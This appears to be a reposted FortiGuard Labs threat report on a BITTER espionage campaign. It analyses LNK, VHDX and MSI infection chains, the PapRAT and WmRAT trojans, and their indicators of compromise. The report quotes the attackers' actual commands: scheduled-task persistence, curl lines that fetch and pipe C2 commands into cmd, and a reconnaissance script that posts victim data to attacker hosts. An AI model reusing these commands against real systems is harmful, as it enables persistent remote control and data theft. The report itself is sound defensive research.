Affected Platfo 2026-11-2 14:0:0 Author: feeds.fortinet.com(查看原文) 阅读量:11 收藏
Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: Compromised machines are under the control of the threat actor
Severity Level: High
BITTER is a suspected South Asian cyberespionage group active since at least 2013, with a history of targeting the government, energy, and engineering sectors. Over the past several months, FortiGuard Labs has tracked a campaign targeting South Asian organizations that uses PowerShell scripts and a custom remote access trojan (RAT), which we call PapRAT, to establish persistent access to victim environments. Based on lure filenames, command-and-control (C2) communication patterns, file metadata, and malware analysis, we attribute this activity to BITTER with high confidence.
The campaign uses three distinct infection chains. The first uses a malicious LNK file that abuses the native Windows ftp.exe utility to execute scripts and create scheduled tasks that maintain contact with the attacker’s C2 server. The second uses a VHDX disk image containing a LNK file that opens a decoy spreadsheet while silently launching an MSI installer to deploy PapRAT. The third begins with a URL shortcut that retrieves a LNK file through WebDAV, leading to an MSI installer that deploys PapRAT. In this chain, PapRAT also delivers WmRAT, a secondary implant previously documented by other researchers.
PapRAT has both C++ and Rust implementations. Its name is derived from artifacts in the Rust build: the PDB filename “requpap.pdb” and the PE product name “papsolutions.” Its capabilities include command execution, file uploads and downloads, file deletion, directory and drive enumeration, and screenshot capture. The Rust variant adds PowerShell execution and other commands.
This blog examines the three infection chains, analyzes PapRAT’s capabilities, and traces its evolution from C++ to Rust.
Figure 1: Attack chains
Attack Chain 1
This attack chain uses the lure file names “update on Avn Comd and Staff program” and “NV-683 Request for Bilateral Meeting during 22nd HACGAM”. The chain starts with an LNK file that uses ftp.exe to execute a script in “icon.ico.”
Figure 2: LNK file with ftp.exe
In ftp.exe, the “!” prefix executes the following token as a local shell command rather than an ftp directive. “!more res.ico” pipes the contents of “res.ico” to cmd for execution, then terminates the ftp session. This LOLBin chain bypasses common script-engine monitoring that targets PowerShell or wscript.
Figure 3: icon.ico
The “res.ico” includes more tasks. First, it creates a scheduled task with a less aggressive name, then uses curl to communicate with a remote server using the parameter “kq=%computername%” and saves the result in “C:\users\public\music\err.log,” pretending to be a system error log file. Finally, it launches a pop-up message to make victims think the activity is an error and that it can't open the target file.
schtasks /create /sc minute /mo 30 /tn MicrosoftUpdates\updates11678 /tr "conhost --headless cmd /c more C:\users\public\music\err.log|cmd" /f
echo curl --ssl-no-revoke -k goodnfortunes[.]com/b99/?kq=%computername%^|c^m^d > C:\users\public\music\err.log
msg * "Explorer was unable to open this file!"
For this attack chain, we collected different “err.log” files from remote servers.
The one from “update on Avn Comd and Staff programme” performs reconnaissance. It collects directory and task lists, directory information from Desktop, Documents, and Downloads, installed antivirus product data, and mounted drives. It saves all the data to “abc.pdf” and sends it to the C2 server.
cd %localappdata%
dir > abc.pdf
tasklist >> abc.pdf
dir %userprofile%\Desktop >> abc.pdf
dir %userprofile%\Documents >> abc.pdf
dir %userprofile%\Downloads >> abc.pdf
powershell -c Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct >> abc.pdf
fsutil fsinfo drives >> abc.pdf
curl -X POST -F "[email protected]" ://goodnfortunes.com/ucl.php?svr=%computername%**%username%
del abc.pdf
The one from “NV-683 Request for Bilateral Meeting during 22nd HACGAM\NV-683 Request for Bilateral Meeting during 22nd HACGAM” is performing additional scripting for the other scheduled task.
schtasks /create /sc minute /mo 15 /tr "conhost --headless cmd /c more C:\programdata\talk.log|c^m^d" /tn BiosUpdates\update101 /f
curl -o C:\programdata\talk.log ://techtalkhelp.com/talk.log -k
Figure 4: Scheduled task
“talk.log” contains a Base64-encoded script that fetches additional commands from another URL. This staging model gives the attacker operational flexibility, while the commands are updated server-side without pushing a new binary, avoiding PE drops and process injection that some security appliances could easily detect.
Figure 5: Command in talk.log
Attack Chain 2
This chain begins with a VHDX disk image lure, “Letter from the Ambassador - 11th Belt and Road Summit.vhdx.” When mounted, it reveals a single visible LNK file and two hidden files, the decoy spreadsheet “Attachment-2.xls” and the installer “Visa_Details.msi.” The LNK executes “cmd.exe /c Visa_Details.msi & Attachment-2.xls,” silently running the installer while opening the decoy document to keep the victim unaware.
Figure 6: LNK file to start MSI and XLSX
Figure 7: Decoy file "Attachment-2.xls"
The MSI file is the primary malicious file used to deploy PapRAT. It lacks legitimate installation functionality, and a table review shows that the only executable action is the Type 194 CustomAction.
Figure 8: Malicious binary in MSI file “Visa_Details.msi”
That binary is PapRAT, which gives the attacker full remote control over the compromised host. It masquerades as a legitimate component: the PE version resource identifies it as bruzsvc.exe, attributed to “Microsoft Corporation” with the product name “Microsoft redistributables” (version 2.6.14.26). Once running, it establishes a persistent connection to a hardcoded C2 server over plaintext HTTP, checking in every 10 seconds for new instructions. To avoid embedding the server address in plaintext, the C2 configuration (host, port, and URL paths) is XOR-encoded with the key 0x50.
Figure 9: Encoded C2 host and port number
PapRAT identifies the victim by combining the username and computer name, joined by an underscore. It then sends a keep-alive beacon to the C2 server with the “client_id” parameter and polls for the next command.
Figure 10: Collecting username and computer name and concatenating them with an underscore
Figure 11: C2 communication
The C2 communicates back through JSON-structured responses, supporting eight commands:
| Task | Capability |
| msg | remote shell, prepends cmd /c and executes via thread |
| FDD | directory listing, POST back as JSON type “fdd“ |
| DEL | file deletion |
| RUN | arbitrary file execution |
| GDR | drive enumeration |
| SS1 | screenshot |
| UPP | upload local file to /receive.php |
| DWW | download file from /send.php?file= |
If it receives the “msg” execute command from the C2 server, PapRAT extracts the value field from the JSON response and passes it to a shell thread for execution.
Figure 12: Parsing command from PapRAT’s C2 server
The screenshot command (SS1) works similarly. The “value” field specifies the location to save the captured image. PapRAT saves the screenshot as a JPG file, then sends it back to the C2 in a POST request using a fixed multipart boundary string.
Figure 13: Screenshot command "SS1" from C2 server
File transfers use an HTTP request format that includes an OTP (one-time password) code and the “ClientID” composed of the username and computer name.
Figure 14: Upload request with OTP code
The C2 panel on “rivingtonclarks[.]com” is shown below. Based on telemetry, the targets of this campaign are concentrated in South Asia.
Figure 15: PapRAT’s C2 panel
Figure 16: C2 telemetry
An earlier PapRAT variant shares the same panel design but greets operators with a “Banana Login” page, an early sign of the fruit-word naming convention that runs throughout the entire tool family.
Figure 17: Other PapRAT’s C2 pannel
Attack Chain 3
The last attack chain combines the first 2 chains. It begins with an archived file, “Official Invitation Majilis 2026 Gala Dinner.rar,” which contains “Invitation 2026.url” and connects to “rappellingaart[.]com@SSL/secure-docs/1.”
Figure 18: Invitation 2026.url
The destination server contains an LNK and the “icon.ico.” In this step, it is similar to attack chain 1, and it calls the “res.ico.”
Figure 19: Files on rappellingaart[.]com
Figure 20: icon.ico
The “res.ico” creates a scheduled task, communicates with a remote server for “C:\users\public\music\err.log,” and performs an additional action that executes the MSI file “Imp_Details.msi.”
schtasks /create /sc minute /mo 49 /tn MicrosoftUpdates\updates88679 /tr "cmd /c more C:\users\public\music\err.log|cmd" /f
echo curl --ssl-no-revoke -k hxxp://gomescareerplans[.]com/docs/?vid=%computername%G^|^c^md > C:\users\public\music\err.log
msiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn
msg * "Explorer was unable to open this file!"
The MSI file use the same execution type in attack chain 2.
Figure 21: Malicious binary in MSI file “Imp_Details.msi”
The decoded C2 is www[.]chestergreenfarming[.]com, which supports similar commands. In this attack chain, we obtain the DWW command and receive the other payload, “vnces.exe.”
Figure 22: PapRAT
The C2 login page becomes cleaner, and the telemetry still targets South Asia.
Figure 23: PapRAT's C2 panel and telemetry
“A further indicator linking this activity to BITTER is that the secondary payload “vnces.exe,” downloaded via PapRAT’s “DWW” command, is WmRAT. WmRAT is a remote access trojan written in C++ that can gather basic information, take screenshots, list directories and files, and execute commands from C2 “netmansrvdns[.]com.”
Figure 24: WmRAT's functions: get system driver information and receive commands from C2
The Evolution of PapRAT
More recently, we obtained another PapRAT variant written in Rust. The sample is written in Rust and has a PDB named “requpap.pdb.” It also implements a complete HTTPS command-and-control loop. It starts with a 42-second delay, then polls the C2 server every 5 seconds, registering the compromised host with “client_id=<USERNAME>_<HOSTNAME>.” All sensitive constants are stored in .rdata, reversed and ROT-3 shifted. The stored literal “/dqdqde/prf.vnudofqrwjqlylu.zzz” decodes to the C2 URL www[.]rivingtonclarks[.]com/banana/.
Figure 25: Screenshot function in RUST version PapRAT
And it adds three commands over the C++ build.
| Task | Capability |
| MSG | remote shell, prepends cmd /c and executes via thread |
| FDD | directory listing, POST back as JSON type “fdd“ |
| DEL | file deletion |
| RUN | arbitrary file execution |
| GDR | drive enumeration |
| SS1 | screenshot |
| UPP | upload local file to /receive.php |
| DWW | download file from /send.php?file= |
| MS2 | powershell -Command <value> |
| SLP | sleep and resume polling |
| BYE | process exits |
Conclusion
This campaign illustrates how BITTER combines native Windows tools with custom malware to establish and maintain access to targeted systems. The first infection chain uses ftp.exe, curl, scripts, and scheduled tasks without deploying a traditional malware executable, potentially reducing visibility for endpoint controls focused on executable files. The other two chains deliver PapRAT through LNK files and MSI installers, enabling system reconnaissance, file manipulation, secondary payload delivery, screenshot capture, and remote command execution.
PapRAT’s C++ and Rust implementations indicate continued investment in BITTER’s toolset. The Rust variant expands the implant’s command set from eight to eleven, adding PowerShell execution, a sleep directive, and a clean exit command. These changes underscore the importance of monitoring malicious behavior across scripting tools, scheduled tasks, and installer activity alongside detecting known malware signatures.
Organizations should treat unexpected LNK files, URL shortcuts, disk images, and MSI packages with caution, particularly when delivered through unsolicited messages. Combining user awareness with controls that detect suspicious execution chains and outbound C2 traffic can help limit exposure to campaigns that blend legitimate Windows functionality with custom malware.
Fortinet Protections
Fortinet customers are already protected from this campaign with FortiGuard’s Web Filtering and AntiVirus services as follows:
The URLs associated with this campaign are rated as Malicious Websites by the FortiGuard Web Filtering service.
FortiGuard Antivirus service detects the associated DLL files and DB files, as well as the fileless SectopRAT payload file, with the following AV signatures.
LNK/Agent.BC!tr
LNK/Agent.F!tr
W64/PapRAT.A!tr
W32/WmRAT.A!tr
Fortinet FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service, and each solution includes the FortiGuard AntiVirus engine. As a result, customers using these products already have up-to-date protections.
To stay informed of new and emerging threats, you can sign up to receive future alerts.
We also suggest that our readers complete the free NSE training: NSE 1 – Information Security Awareness, which includes information on Internet threats and is designed to help end users identify and protect themselves against phishing attacks.
The FortiPhish Phishing Simulation Service, together with Fortinet’s Security Awareness and Training Service, uses real-world phishing scenarios to train and test employees against common social engineering tactics. By improving users’ ability to recognize and respond to suspicious content—especially during high-risk periods of distraction or urgency—these services help reduce the risk of successful phishing and malware attacks.
IOCs
Hostnames
netmansrvdns[.]com
rappellingaart[.]com
URLs
hxxps://techtalkhelp[.]com/talk.log
hxxp://www[.]rivingtonclarks[.]com/beautiQuewonders/banaNa.php
hxxps://goodnfortunes[.]com/ucl.php
hxxps://felixfuturenext[.]com/Epistemological/
hxxp://gomescareerplans[.]com/docs
SHA256
LNK
a3081df333ca7f18bd90d10a45125ab5011dcf9d2806feae2935f09cab07da4c
e3992f8c945b0761242377cba32d91b0a390c7cecd79478439843d93e6d2b76b
ccefbdec2718d864d9d33c743aabfcef88a8d7904d1c598bfcf15cf5f3591c88
PapRAT
569a21b519aaac8c92f653d708ab6ef34e3f38ea967f47e041d1e2425f6a4b33
WmRAT
411c0b9a2f98b927d806a685faf0c1ab1005647b4816157008892347fb88546b
如有侵权请联系:admin#unsafe.sh